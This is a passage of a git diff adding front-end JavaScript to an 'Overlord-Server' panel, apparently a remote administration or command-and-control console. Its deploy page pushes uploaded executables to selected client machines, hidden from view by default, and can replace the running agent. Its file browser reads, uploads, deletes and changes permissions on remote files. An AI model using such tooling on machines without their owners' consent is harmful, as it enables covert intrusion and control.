+let uploaded = null;
+let allowedOs = "unknown";
+
+async function checkAuth() {
+ try {
+ const res = await fetch("/api/auth/me");
+ if (!res.ok) {
+ window.location.href = "/login.html";
+ return;
+ }
+
+ const data = await res.json();
+ document.getElementById("username-display").textContent = data.username;
+
+ const roleBadge = document.getElementById("role-badge");
+ const roleBadges = {
+ admin: ' Admin',
+ operator: ' Operator',
+ viewer: ' Viewer',
+ };
+ if (roleBadges[data.role]) {
+ roleBadge.innerHTML = roleBadges[data.role];
+ } else {
+ roleBadge.textContent = data.role || "";
+ }
+
+ if (data.role === "admin") {
+ roleBadge.classList.add(
+ "bg-purple-900/50",
+ "text-purple-300",
+ "border",
+ "border-purple-800",
+ );
+ document.getElementById("metrics-link")?.classList.remove("hidden");
+ document.getElementById("scripts-link")?.classList.remove("hidden");
+ document.getElementById("build-link")?.classList.remove("hidden");
+ document.getElementById("users-link")?.classList.remove("hidden");
+ document.getElementById("plugins-link")?.classList.remove("hidden");
+ document.getElementById("deploy-link")?.classList.remove("hidden");
+ } else if (data.role === "operator") {
+ roleBadge.classList.add(
+ "bg-blue-900/50",
+ "text-blue-300",
+ "border",
+ "border-blue-800",
+ );
+ } else {
+ roleBadge.classList.add(
+ "bg-slate-700",
+ "text-slate-300",
+ "border",
+ "border-slate-600",
+ );
+ }
+
+ if (data.role !== "admin") {
+ alert("Access denied. Admin role required.");
+ window.location.href = "/";
+ }
+ } catch (err) {
+ console.error("Auth check failed:", err);
+ window.location.href = "/login.html";
+ }
+}
+
+async function loadClients() {
+ try {
+ const res = await fetch("/api/clients?pageSize=10000");
+ if (!res.ok) throw new Error("Failed to load clients");
+
+ const data = await res.json();
+ allClients = data.items.filter((c) => c.online);
+
+ if (allClients.length === 0) {
+ clientList.innerHTML =
+ 'No online clients available
';
+ return;
+ }
+
+ const osList = new Set(allClients.map((c) => c.os || "unknown"));
+ osFilter.innerHTML =
+ 'All OS (' +
+ allClients.length +
+ ") " +
+ Array.from(osList)
+ .sort()
+ .map((os) => {
+ const count = allClients.filter((c) => (c.os || "unknown") === os)
+ .length;
+ return `${escapeHtml(os)} (${count}) `;
+ })
+ .join("");
+
+ filterAndRenderClients();
+ preselectClientFromQuery();
+ } catch (error) {
+ console.error("Failed to load clients:", error);
+ clientList.innerHTML =
+ 'Error loading clients
';
+ }
+}
+
+function preselectClientFromQuery() {
+ const params = new URLSearchParams(window.location.search);
+ const targetId = params.get("clientId");
+ if (!targetId) return;
+ if (allClients.some((c) => c.id === targetId)) {
+ selectedClients.add(targetId);
+ renderClients();
+ }
+}
+
+function filterAndRenderClients() {
+ const searchTerm = clientSearch.value.toLowerCase();
+ const osValue = osFilter.value;
+
+ filteredClients = allClients.filter((c) => {
+ const matchesSearch =
+ !searchTerm ||
+ (c.host && c.host.toLowerCase().includes(searchTerm)) ||
+ c.id.toLowerCase().includes(searchTerm) ||
+ (c.os && c.os.toLowerCase().includes(searchTerm)) ||
+ (c.user && c.user.toLowerCase().includes(searchTerm));
+
+ const matchesOs = osValue === "all" || (c.os || "unknown") === osValue;
+
+ const matchesUploadOs = matchesClientOs(c.os || "", allowedOs);
+
+ return matchesSearch && matchesOs && matchesUploadOs;
+ });
+
+ renderClients();
+}
+
+function renderClients() {
+ if (filteredClients.length === 0) {
+ clientList.innerHTML =
+ 'No clients match your filters
';
+ return;
+ }
+
+ clientList.innerHTML = filteredClients
+ .map((c) => {
+ const name = c.host || c.id.substring(0, 8);
+ const os = c.os || "unknown";
+ const isSelected = selectedClients.has(c.id);
+
+ return `
+
+
+
+
${escapeHtml(
+ name,
+ )}
+
+ ${escapeHtml(os)}
+ ${c.user ? `• ${escapeHtml(c.user)} ` : ""}
+ • ${c.id.substring(0, 8)}
+
+
+
+ Online
+
+
+ `;
+ })
+ .join("");
+
+ clientList.querySelectorAll(".client-checkbox").forEach((cb) => {
+ cb.addEventListener("change", handleClientToggle);
+ });
+
+ updateSelectedCount();
+}
+
+function handleClientToggle(e) {
+ const clientId = e.target.dataset.id;
+ if (e.target.checked) {
+ selectedClients.add(clientId);
+ } else {
+ selectedClients.delete(clientId);
+ }
+ updateSelectedCount();
+}
+
+function updateSelectedCount() {
+ selectedCountSpan.textContent = `${selectedClients.size} selected`;
+ executeBtn.disabled = selectedClients.size === 0 || !uploaded;
+ if (updateBtn) {
+ updateBtn.disabled = selectedClients.size === 0 || !uploaded;
+ }
+}
+
+function normalizeClientOs(os) {
+ const val = String(os || "").toLowerCase();
+ if (val.includes("windows")) return "windows";
+ if (val.includes("darwin") || val.includes("mac")) return "mac";
+ if (val.includes("linux")) return "linux";
+ return "unknown";
+}
+
+function matchesClientOs(clientOs, targetOs) {
+ if (!targetOs || targetOs === "unknown") return true;
+ if (targetOs === "unix") {
+ const norm = normalizeClientOs(clientOs);
+ return norm === "linux" || norm === "mac";
+ }
+ return normalizeClientOs(clientOs) === targetOs;
+}
+
+function setUploadStatus(text, tone = "text-slate-400") {
+ uploadStatus.className = `mt-3 text-sm ${tone}`;
+ uploadStatus.textContent = text;
+}
+
+function setOsBadge(os) {
+ const label = os === "unknown" ? "not detected" : os === "unix" ? "mac/linux" : os;
+ osBadge.textContent = `OS: ${label}`;
+ osBadge.classList.remove("border-emerald-600", "text-emerald-300", "border-amber-600", "text-amber-300");
+ if (os === "unknown") return;
+ osBadge.classList.add("border-emerald-600", "text-emerald-300");
+}
+
+function formatBytes(bytes) {
+ const value = Number(bytes) || 0;
+ if (value < 1024) return `${value} B`;
+ if (value < 1024 * 1024) return `${(value / 1024).toFixed(1)} KB`;
+ if (value < 1024 * 1024 * 1024) return `${(value / 1024 / 1024).toFixed(2)} MB`;
+ return `${(value / 1024 / 1024 / 1024).toFixed(2)} GB`;
+}
+
+function escapeHtml(text) {
+ const div = document.createElement("div");
+ div.textContent = text;
+ return div.innerHTML;
+}
+
+clientSearch.addEventListener("input", filterAndRenderClients);
+osFilter.addEventListener("change", filterAndRenderClients);
+
+selectAllBtn.addEventListener("click", () => {
+ filteredClients.forEach((c) => selectedClients.add(c.id));
+ renderClients();
+});
+
+clearSelectionBtn.addEventListener("click", () => {
+ selectedClients.clear();
+ renderClients();
+});
+
+uploadZone.addEventListener("click", () => uploadInput.click());
+uploadZone.addEventListener("dragover", (event) => {
+ event.preventDefault();
+ uploadZone.classList.add("border-cyan-500");
+});
+uploadZone.addEventListener("dragleave", () => {
+ uploadZone.classList.remove("border-cyan-500");
+});
+uploadZone.addEventListener("drop", async (event) => {
+ event.preventDefault();
+ uploadZone.classList.remove("border-cyan-500");
+ const file = event.dataTransfer?.files?.[0];
+ if (file) {
+ await uploadFile(file);
+ }
+});
+uploadInput.addEventListener("change", async (event) => {
+ const file = event.target.files?.[0];
+ if (file) {
+ await uploadFile(file);
+ }
+});
+
+async function uploadFile(file) {
+ setUploadStatus(`Uploading ${file.name}...`, "text-blue-400");
+ executeBtn.disabled = true;
+
+ try {
+ const form = new FormData();
+ form.append("file", file, file.name);
+ const res = await fetch("/api/deploy/upload", {
+ method: "POST",
+ body: form,
+ });
+
+ if (!res.ok) {
+ const text = await res.text();
+ setUploadStatus(text || "Upload failed", "text-red-400");
+ return;
+ }
+
+ const data = await res.json();
+ if (!data.ok) {
+ setUploadStatus(data.error || "Upload failed", "text-red-400");
+ return;
+ }
+
+ uploaded = data;
+ allowedOs = data.os || "unknown";
+ const sizeBytes = Number(data.size ?? file.size ?? 0);
+ setUploadStatus(`Uploaded ${data.name} (${formatBytes(sizeBytes)})`, "text-emerald-400");
+ setOsBadge(allowedOs);
+
+ filterAndRenderClients();
+ Array.from(selectedClients).forEach((clientId) => {
+ const client = allClients.find((c) => c.id === clientId);
+ if (!client || !matchesClientOs(client.os || "", allowedOs)) {
+ selectedClients.delete(clientId);
+ }
+ });
+ renderClients();
+ updateSelectedCount();
+ } catch (error) {
+ console.error("Upload failed:", error);
+ setUploadStatus("Upload failed", "text-red-400");
+ }
+}
+
+executeBtn.addEventListener("click", async () => {
+ if (selectedClients.size === 0) {
+ alert("Please select at least one client");
+ return;
+ }
+
+ if (!uploaded?.uploadId) {
+ alert("Please upload an installer first");
+ return;
+ }
+
+ const args = execArgsInput.value.trim();
+ const hideWindow = hideWindowToggle?.checked !== false;
+
+ executeBtn.disabled = true;
+ const clientIds = Array.from(selectedClients);
+ outputContainer.innerHTML = `Dispatching to ${clientIds.length} client(s)...
`;
+
+ let results = [];
+ try {
+ const res = await fetch("/api/deploy/run", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({
+ uploadId: uploaded.uploadId,
+ clientIds,
+ args,
+ hideWindow,
+ }),
+ });
+
+ if (!res.ok) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: `HTTP error! status: ${res.status}`,
+ }));
+ } else {
+ const data = await res.json();
+ if (!data.ok) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: data.error || "Unknown error",
+ }));
+ } else {
+ results = (data.results || []).map((result) => ({
+ clientId: result.clientId,
+ ok: result.ok,
+ reason: result.reason,
+ command: result.command,
+ }));
+ }
+ }
+ } catch (error) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: error.message,
+ }));
+ }
+
+ const namedResults = results.map((r) => {
+ const client = allClients.find((c) => c.id === r.clientId);
+ const clientName = client
+ ? client.host || r.clientId.substring(0, 8)
+ : r.clientId.substring(0, 8);
+ if (r.error) {
+ return { clientName, clientId: r.clientId, error: r.error };
+ }
+ if (r.ok === false) {
+ return { clientName, clientId: r.clientId, error: r.reason || "Dispatch failed" };
+ }
+ return { clientName, clientId: r.clientId, output: "Queued", command: r.command };
+ });
+
+ outputContainer.innerHTML = namedResults
+ .map((r) => {
+ if (r.error) {
+ return `
+
━━━ ${escapeHtml(
+ r.clientName,
+ )} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
Error: ${escapeHtml(r.error)}
+
`;
+ }
+ const commandLine = r.command
+ ? `Command: ${escapeHtml(r.command)}
`
+ : "";
+ return `
+
━━━ ${escapeHtml(
+ r.clientName,
+ )} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+ ${commandLine}
+
${escapeHtml(r.output)}
+
`;
+ })
+ .join("");
+
+ executeBtn.disabled = false;
+});
+
+if (updateBtn) {
+ updateBtn.addEventListener("click", async () => {
+ if (selectedClients.size === 0) {
+ alert("Please select at least one client");
+ return;
+ }
+
+ if (!uploaded?.uploadId) {
+ alert("Please upload an installer first");
+ return;
+ }
+
+ if (!confirm("Replace the running agent on selected clients?")) {
+ return;
+ }
+
+ updateBtn.disabled = true;
+ const clientIds = Array.from(selectedClients);
+ outputContainer.innerHTML = `Dispatching update to ${clientIds.length} client(s)...
`;
+
+ let results = [];
+ try {
+ const res = await fetch("/api/deploy/update", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({
+ uploadId: uploaded.uploadId,
+ clientIds,
+ }),
+ });
+
+ if (!res.ok) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: `HTTP error! status: ${res.status}`,
+ }));
+ } else {
+ const data = await res.json();
+ if (!data.ok) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: data.error || "Unknown error",
+ }));
+ } else {
+ results = (data.results || []).map((result) => ({
+ clientId: result.clientId,
+ ok: result.ok,
+ reason: result.reason,
+ }));
+ }
+ }
+ } catch (error) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: error.message,
+ }));
+ }
+
+ const namedResults = results.map((r) => {
+ const client = allClients.find((c) => c.id === r.clientId);
+ const clientName = client
+ ? client.host || r.clientId.substring(0, 8)
+ : r.clientId.substring(0, 8);
+ if (r.error) {
+ return { clientName, clientId: r.clientId, error: r.error };
+ }
+ if (r.ok === false) {
+ return { clientName, clientId: r.clientId, error: r.reason || "Update failed" };
+ }
+ return { clientName, clientId: r.clientId, output: "Update dispatched" };
+ });
+
+ outputContainer.innerHTML = namedResults
+ .map((r) => {
+ if (r.error) {
+ return `
+
━━━ ${escapeHtml(
+ r.clientName,
+ )} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
Error: ${escapeHtml(r.error)}
+
`;
+ }
+ return `
+
━━━ ${escapeHtml(
+ r.clientName,
+ )} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
${escapeHtml(r.output)}
+
`;
+ })
+ .join("");
+
+ updateBtn.disabled = false;
+ });
+}
+
+clearOutputBtn.addEventListener("click", () => {
+ outputContainer.innerHTML =
+ 'No commands dispatched yet.
';
+});
+
+checkAuth();
+loadClients();
diff --git a/Overlord-Server/public/assets/filebrowser.js b/Overlord-Server/public/assets/filebrowser.js
new file mode 100644
index 0000000..8569b83
--- /dev/null
+++ b/Overlord-Server/public/assets/filebrowser.js
@@ -0,0 +1,1917 @@
+import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
+
+const clientId = window.location.pathname.split("/")[1];
+let ws = null;
+let currentPath = "";
+let pathHistory = [];
+let selectedFiles = new Set();
+let fileDownloads = new Map();
+let fileUploads = new Map();
+let fileUploadsById = new Map();
+let activeTransfers = new Map();
+let currentEditingFile = null;
+let lastSuccessfulResponse = 0;
+let pendingToast = null;
+const recentToasts = new Map();
+const pendingCommandResults = new Map();
+
+const statusEl = document.getElementById("status-indicator");
+const breadcrumbEl = document.getElementById("breadcrumb");
+const fileListEl = document.getElementById("file-list");
+const refreshBtn = document.getElementById("refresh-btn");
+const uploadBtn = document.getElementById("upload-btn");
+const mkdirBtn = document.getElementById("mkdir-btn");
+const searchBtn = document.getElementById("search-btn");
+const fileInput = document.getElementById("file-input");
+const contextMenu = document.getElementById("context-menu");
+const clientIdHeader = document.getElementById("client-id-header");
+const backBtn = document.getElementById("back-btn");
+const homeBtn = document.getElementById("home-btn");
+const pathInput = document.getElementById("path-input");
+const pathGoBtn = document.getElementById("path-go-btn");
+const transferPanel = document.getElementById("transfer-panel");
+const transferList = document.getElementById("transfer-list");
+
+const searchBar = document.getElementById("search-bar");
+const searchInput = document.getElementById("search-input");
+const searchContentCheckbox = document.getElementById(
+ "search-content-checkbox",
+);
+const searchExecuteBtn = document.getElementById("search-execute-btn");
+const searchCloseBtn = document.getElementById("search-close-btn");
+const bulkActionsBar = document.getElementById("bulk-actions-bar");
+const selectedCountEl = document.getElementById("selected-count");
+const bulkDownloadBtn = document.getElementById("bulk-download-btn");
+const bulkDeleteBtn = document.getElementById("bulk-delete-btn");
+const bulkMoveBtn = document.getElementById("bulk-move-btn");
+const bulkCopyBtn = document.getElementById("bulk-copy-btn");
+const clearSelectionBtn = document.getElementById("clear-selection-btn");
+const fileEditorModal = document.getElementById("file-editor-modal");
+const editorTextarea = document.getElementById("editor-textarea");
+const editorFileName = document.getElementById("editor-file-name");
+const editorStatus = document.getElementById("editor-status");
+const editorSaveBtn = document.getElementById("editor-save-btn");
+const editorCancelBtn = document.getElementById("editor-cancel-btn");
+const editorCloseBtn = document.getElementById("editor-close-btn");
+
+if (clientIdHeader) {
+ clientIdHeader.textContent = `${clientId} - File Browser`;
+}
+
+function connect() {
+ const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
+ const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/files/ws`;
+
+ const socket = new WebSocket(wsUrl);
+ socket.binaryType = "arraybuffer";
+ ws = socket;
+
+ socket.onopen = () => {
+ console.log("File browser connected");
+ updateStatus("connected", "Connected");
+ enableControls(true);
+ listFiles(currentPath || ".", socket);
+ };
+
+ socket.onmessage = (event) => {
+ const msg = decodeMsgpack(event.data);
+ if (!msg) {
+ console.error("Failed to decode message");
+ return;
+ }
+ handleMessage(msg);
+ };
+
+ socket.onerror = (err) => {
+ console.error("WebSocket error:", err);
+ updateStatus("error", "Connection Error");
+ };
+
+ socket.onclose = () => {
+ console.log("File browser disconnected");
+ updateStatus("disconnected", "Disconnected");
+ enableControls(false);
+ if (ws === socket) {
+ setTimeout(() => connect(), 3000);
+ }
+ };
+}
+
+function updateStatus(state, text) {
+ const icons = {
+ connecting: ' ',
+ connected: ' ',
+ error: ' ',
+ disconnected: ' ',
+ };
+
+ statusEl.innerHTML = `${icons[state] || icons.disconnected} ${text}`;
+ statusEl.className =
+ state === "connected"
+ ? "inline-flex items-center gap-2 px-3 py-2 rounded-full bg-green-900/40 text-green-100 border border-green-700/60"
+ : "inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-800 text-slate-300";
+}
+
+function enableControls(enabled) {
+ refreshBtn.disabled = !enabled;
+ uploadBtn.disabled = !enabled;
+ mkdirBtn.disabled = !enabled;
+}
+
+function send(msg, socket = ws) {
+ if (socket && socket.readyState === WebSocket.OPEN) {
+ console.log(
+ "[DEBUG] Sending message:",
+ msg.type,
+ msg.commandType || "",
+ "to server",
+ );
+ socket.send(encodeMsgpack(msg));
+ } else {
+ console.error(
+ "[DEBUG] Cannot send - WebSocket not open. State:",
+ socket?.readyState,
+ );
+ }
+}
+
+function notifyToast(message, type = "info", duration = 4000) {
+ if (typeof window.showToast !== "function") return;
+ const key = `${type}:${message}`;
+ const now = Date.now();
+ const last = recentToasts.get(key) || 0;
+ if (now - last < 1000) return;
+ recentToasts.set(key, now);
+
+ if (document.visibilityState === "hidden") {
+ if (!pendingToast) {
+ pendingToast = { message, type, duration, count: 1 };
+ } else {
+ pendingToast.message = message;
+ pendingToast.type = type;
+ pendingToast.duration = duration;
+ pendingToast.count += 1;
+ }
+ return;
+ }
+
+ window.showToast(message, type, duration);
+}
+
+function trackCommandResult(commandId, options = {}) {
+ if (!commandId) return;
+ const {
+ refreshOnSuccess = false,
+ successMessage = null,
+ errorPrefix = "Operation failed",
+ } = options;
+ pendingCommandResults.set(commandId, {
+ refreshOnSuccess,
+ successMessage,
+ errorPrefix,
+ });
+}
+
+document.addEventListener("visibilitychange", () => {
+ if (document.visibilityState !== "visible") return;
+ if (!pendingToast || typeof window.showToast !== "function") return;
+ const { message, type, duration, count } = pendingToast;
+ pendingToast = null;
+ const summary = count > 1 ? `${message} (+${count - 1} more)` : message;
+ window.showToast(summary, type, duration);
+});
+
+function handleMessage(msg) {
+ console.log("[DEBUG] Received message:", msg.type, msg);
+
+ switch (msg.type) {
+ case "ready":
+ console.log("Session ready:", msg.sessionId);
+ break;
+ case "status":
+ console.log("[DEBUG] Status message:", msg);
+ if (msg.status === "offline") {
+ const recentlyActive = Date.now() - lastSuccessfulResponse < 10_000;
+ if (!recentlyActive) {
+ updateStatus("error", "Client Offline");
+ enableControls(false);
+ }
+ }
+ break;
+ case "file_list_result":
+ handleFileList(msg);
+ break;
+ case "file_download":
+ handleFileDownload(msg);
+ break;
+ case "file_upload_result":
+ handleFileUploadResult(msg);
+ break;
+ case "file_read_result":
+ console.log("[DEBUG] Routing to handleFileReadResult");
+ handleFileReadResult(msg);
+ break;
+ case "file_search_result":
+ handleFileSearchResult(msg);
+ break;
+ case "command_result":
+ console.log("[DEBUG] Command result:", msg);
+ handleCommandResult(msg);
+ break;
+ case "command_progress":
+ console.log("[DEBUG] Command progress:", msg);
+ handleCommandProgress(msg);
+ break;
+ default:
+ console.log("[DEBUG] Unknown message type:", msg.type, msg);
+ }
+}
+
+function listFiles(path, socket = ws) {
+ if (currentPath && currentPath !== path) {
+ pathHistory.push(currentPath);
+ }
+ currentPath = path;
+ send({ type: "file_list", path }, socket);
+ updateBreadcrumb(path);
+ updatePathInput(path);
+ updateBackButton();
+}
+
+function updatePathInput(path) {
+ pathInput.value = path || ".";
+}
+
+function updateBackButton() {
+ backBtn.disabled = pathHistory.length === 0;
+ backBtn.classList.toggle("opacity-50", pathHistory.length === 0);
+ backBtn.classList.toggle("cursor-not-allowed", pathHistory.length === 0);
+}
+
+function goBack() {
+ if (pathHistory.length > 0) {
+ const previousPath = pathHistory.pop();
+ currentPath = previousPath;
+ send({ type: "file_list", path: previousPath });
+ updateBreadcrumb(previousPath);
+ updatePathInput(previousPath);
+ updateBackButton();
+ }
+}
+
+function goHome() {
+ pathHistory = [];
+ listFiles(".");
+}
+
+function updateBreadcrumb(path) {
+ const parts = path.split(/[\/\\]/).filter((p) => p && p !== ".");
+ breadcrumbEl.innerHTML = "";
+
+ const root = document.createElement("span");
+ root.className = "breadcrumb-item hover:text-blue-400 transition-colors";
+ root.innerHTML =
+ ' Drives ';
+ root.onclick = () => listFiles(".");
+ breadcrumbEl.appendChild(root);
+
+ if (!path || path === ".") {
+ return;
+ }
+
+ let accumulated = "";
+ parts.forEach((part, idx) => {
+ accumulated += (accumulated ? "/" : "") + part;
+ const pathSegment = accumulated;
+
+ const separator = document.createElement("span");
+ separator.className = "text-slate-600 mx-1";
+ separator.innerHTML = ' ';
+ breadcrumbEl.appendChild(separator);
+
+ const crumb = document.createElement("span");
+ crumb.className = "breadcrumb-item hover:text-blue-400 transition-colors";
+ crumb.textContent = part;
+ crumb.onclick = () => listFiles(pathSegment);
+ breadcrumbEl.appendChild(crumb);
+ });
+}
+
+function handleFileList(msg) {
+ if (msg.error) {
+ fileListEl.innerHTML = ` ${escapeHtml(msg.error)}
`;
+ return;
+ }
+
+ lastSuccessfulResponse = Date.now();
+ updateStatus("connected", "Connected");
+ enableControls(true);
+
+ currentPath = msg.path;
+ const entries = msg.entries || [];
+
+ selectedFiles.clear();
+ updateSelectionUI();
+
+ fileListEl.style.opacity = "0";
+ fileListEl.style.transform = "translateX(20px)";
+
+ setTimeout(() => {
+ fileListEl.innerHTML = "";
+
+ const canGoUp = shouldShowParentDirectory(currentPath);
+ if (canGoUp) {
+ const parentPath = getParentPath(currentPath);
+ const parentRow = createParentRow(parentPath);
+ fileListEl.appendChild(parentRow);
+ }
+
+ if (entries.length === 0 && !canGoUp) {
+ fileListEl.innerHTML =
+ ' Empty directory
';
+ fileListEl.style.opacity = "1";
+ fileListEl.style.transform = "translateX(0)";
+ return;
+ }
+
+ entries.sort((a, b) => {
+ if (a.isDir && !b.isDir) return -1;
+ if (!a.isDir && b.isDir) return 1;
+ return a.name.localeCompare(b.name);
+ });
+
+ entries.forEach((entry, index) => {
+ const row = createFileRow(entry);
+ row.style.animationDelay = `${index * 0.02}s`;
+ row.classList.add("card-animate");
+ fileListEl.appendChild(row);
+ });
+
+ fileListEl.style.transition =
+ "opacity 0.3s ease-out, transform 0.3s ease-out";
+ fileListEl.style.opacity = "1";
+ fileListEl.style.transform = "translateX(0)";
+ }, 150);
+}
+
+function shouldShowParentDirectory(path) {
+ if (!path || path === ".") {
+ return false;
+ }
+
+ return true;
+}
+
+function getParentPath(path) {
+ const normalized = path.replace(/\\/g, "/");
+ const parts = normalized.split("/").filter((p) => p);
+
+ if (parts.length === 1 && parts[0].match(/^[A-Za-z]:$/)) {
+ return ".";
+ }
+
+ if (parts.length <= 1) {
+ return ".";
+ }
+
+ parts.pop();
+ let parentPath = parts.join("/");
+
+ if (parentPath.match(/^[A-Za-z]:?$/)) {
+ return parentPath.replace(/^([A-Za-z]):?$/, "$1:\\");
+ }
+
+ return parentPath || ".";
+}
+
+function createParentRow(parentPath) {
+ const row = document.createElement("div");
+ row.className =
+ "file-item grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors hover:bg-slate-800/50";
+ row.dataset.path = parentPath;
+ row.dataset.isDir = "true";
+
+ row.innerHTML = `
+
+
+ ..
+ (parent directory)
+
+ -
+ -
+
+ `;
+
+ row.ondblclick = () => listFiles(parentPath);
+ row.onclick = () => listFiles(parentPath);
+
+ return row;
+}
+
+function createFileRow(entry) {
+ const row = document.createElement("div");
+ row.className =
+ "file-item grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors";
+ row.dataset.path = entry.path;
+ row.dataset.isDir = entry.isDir;
+
+ const icon = entry.isDir
+ ? ' '
+ : ' ';
+
+ const size = entry.isDir ? "-" : formatBytes(entry.size);
+ const modTime = new Date(entry.modTime * 1000).toLocaleString();
+
+ row.innerHTML = `
+
+
+ ${icon}
+ ${escapeHtml(entry.name)}
+
+ ${size}
+ ${modTime}
+
+ ${!entry.isDir ? ' ' : ""}
+ ${entry.isDir ? ' ' : ""}
+
+
+ `;
+
+ const nameDiv = row.querySelector(".col-span-6");
+ const mobileMetaDiv = document.createElement("div");
+ mobileMetaDiv.className = "file-meta";
+ mobileMetaDiv.innerHTML = `${size} ${modTime} `;
+ nameDiv.appendChild(mobileMetaDiv);
+
+ row.onclick = (e) => {
+ if (e.target.closest(".file-checkbox") || e.target.closest(".action-btn")) {
+ return;
+ }
+
+ if (entry.isDir) {
+ listFiles(entry.path);
+ } else {
+ openFileInEditor(entry.path);
+ }
+ };
+
+ const checkbox = row.querySelector(".file-checkbox");
+ checkbox.onclick = (e) => {
+ e.stopPropagation();
+ };
+
+ checkbox.onchange = (e) => {
+ if (e.target.checked) {
+ selectedFiles.add(entry.path);
+ row.classList.add("selected");
+ } else {
+ selectedFiles.delete(entry.path);
+ row.classList.remove("selected");
+ }
+ updateSelectionUI();
+ };
+
+ row.querySelectorAll(".action-btn").forEach((btn) => {
+ btn.onclick = (e) => {
+ e.stopPropagation();
+ const action = btn.dataset.action;
+ handleFileAction(action, entry);
+ };
+ });
+
+ row.oncontextmenu = (e) => {
+ e.preventDefault();
+ showContextMenu(e.clientX, e.clientY, entry);
+ };
+
+ return row;
+}
+
+function toggleSelection(row, path) {
+ const checkbox = row.querySelector(".file-checkbox");
+ if (selectedFiles.has(path)) {
+ selectedFiles.delete(path);
+ row.classList.remove("selected");
+ if (checkbox) checkbox.checked = false;
+ } else {
+ selectedFiles.add(path);
+ row.classList.add("selected");
+ if (checkbox) checkbox.checked = true;
+ }
+ updateSelectionUI();
+}
+
+function handleFileAction(action, entry) {
+ switch (action) {
+ case "edit":
+ openFileInEditor(entry.path);
+ break;
+ case "download":
+ downloadFile(entry.path);
+ break;
+ case "zip":
+ zipAndDownload(entry.path);
+ break;
+ case "copy":
+ const copyDest = prompt("Copy to:", entry.path + "_copy");
+ if (copyDest) {
+ const commandId = `copy-${Date.now()}`;
+ send({
+ type: "command",
+ commandType: "file_copy",
+ id: commandId,
+ payload: { source: entry.path, dest: copyDest },
+ });
+ trackCommandResult(commandId, {
+ refreshOnSuccess: true,
+ successMessage: "Copy completed",
+ errorPrefix: "Copy failed",
+ });
+ }
+ break;
+ case "move":
+ const moveDest = prompt("Move to:", entry.path);
+ if (moveDest) {
+ const commandId = `move-${Date.now()}`;
+ send({
+ type: "command",
+ commandType: "file_move",
+ id: commandId,
+ payload: { source: entry.path, dest: moveDest },
+ });
+ trackCommandResult(commandId, {
+ refreshOnSuccess: true,
+ successMessage: "Move completed",
+ errorPrefix: "Move failed",
+ });
+ }
+ break;
+ case "chmod":
+ const mode = prompt(
+ "Enter permissions (octal, e.g., 0755):",
+ entry.mode || "0644",
+ );
+ if (mode) {
+ const commandId = `chmod-${Date.now()}`;
+ send({
+ type: "command",
+ commandType: "file_chmod",
+ id: commandId,
+ payload: { path: entry.path, mode },
+ });
+ trackCommandResult(commandId, {
+ refreshOnSuccess: true,
+ successMessage: "Permissions updated",
+ errorPrefix: "Permissions update failed",
+ });
+ }
+ break;
+ case "delete":
+ deleteFile(entry.path);
+ break;
+ }
+}
+
+function downloadFile(path) {
+ console.log("Requesting download:", path);
+ const transferId = `download-${Date.now()}-${Math.random()}`;
+ const fileName = path.split(/[\/\\]/).pop();
+ const abortController = new AbortController();
+
+ const transfer = {
+ id: transferId,
+ type: "download",
+ path,
+ fileName,
+ progress: 0,
+ total: 0,
+ received: 0,
+ receivedBytes: 0,
+ receivedOffsets: new Map(),
+ receivedChunks: new Set(),
+ chunkSize: 0,
+ expectedChunks: 0,
+ buffer: null,
+ chunks: [],
+ cancelled: false,
+ abortController,
+ source: "http",
+ expectedCommandId: null,
+ };
+
+ fileDownloads.set(path, transfer);
+ activeTransfers.set(transferId, transfer);
+ addTransferToUI(transfer);
+
+ updateStatus("connected", `Downloading ${fileName}...`);
+
+ (async () => {
+ try {
+ console.debug("[filebrowser] download request", { path, clientId });
+ const requestRes = await fetch("/api/file/download/request", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ credentials: "include",
+ signal: abortController.signal,
+ body: JSON.stringify({ clientId, path }),
+ });
+
+ console.debug("[filebrowser] download request response", {
+ ok: requestRes.ok,
+ status: requestRes.status,
+ });
+
+ if (!requestRes.ok) {
+ const text = await requestRes.text();
+ notifyToast(text || "Download failed", "error", 5000);
+ removeTransfer(transferId);
+ fileDownloads.delete(path);
+ updateStatus("connected", "Connected");
+ return;
+ }
+
+ const requestData = await requestRes.json();
+ if (!requestData?.downloadId) {
+ notifyToast("Download failed", "error", 5000);
+ removeTransfer(transferId);
+ fileDownloads.delete(path);
+ updateStatus("connected", "Connected");
+ return;
+ }
+
+ console.debug("[filebrowser] download request accepted", {
+ downloadId: requestData.downloadId,
+ });
+
+ console.debug("[filebrowser] download stream start", {
+ downloadId: requestData.downloadId,
+ });
+
+ const res = await fetch("/api/file/download", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ credentials: "include",
+ signal: abortController.signal,
+ body: JSON.stringify({ downloadId: requestData.downloadId }),
+ });
+
+ console.debug("[filebrowser] download response", {
+ ok: res.ok,
+ status: res.status,
+ contentType: res.headers.get("Content-Type"),
+ contentLength: res.headers.get("Content-Length"),
+ });
+
+ if (!res.ok) {
+ const text = await res.text();
+ notifyToast(text || "Download failed", "error", 5000);
+ removeTransfer(transferId);
+ fileDownloads.delete(path);
+ updateStatus("connected", "Connected");
+ return;
+ }
+
+ const total = Number(res.headers.get("Content-Length") || 0);
+ if (Number.isFinite(total) && total > 0) {
+ transfer.total = total;
+ }
+
+ const chunks = [];
+ let received = 0;
+ let lastLoggedBytes = 0;
+ if (res.body) {
+ const reader = res.body.getReader();
+ while (true) {
+ const { done, value } = await reader.read();
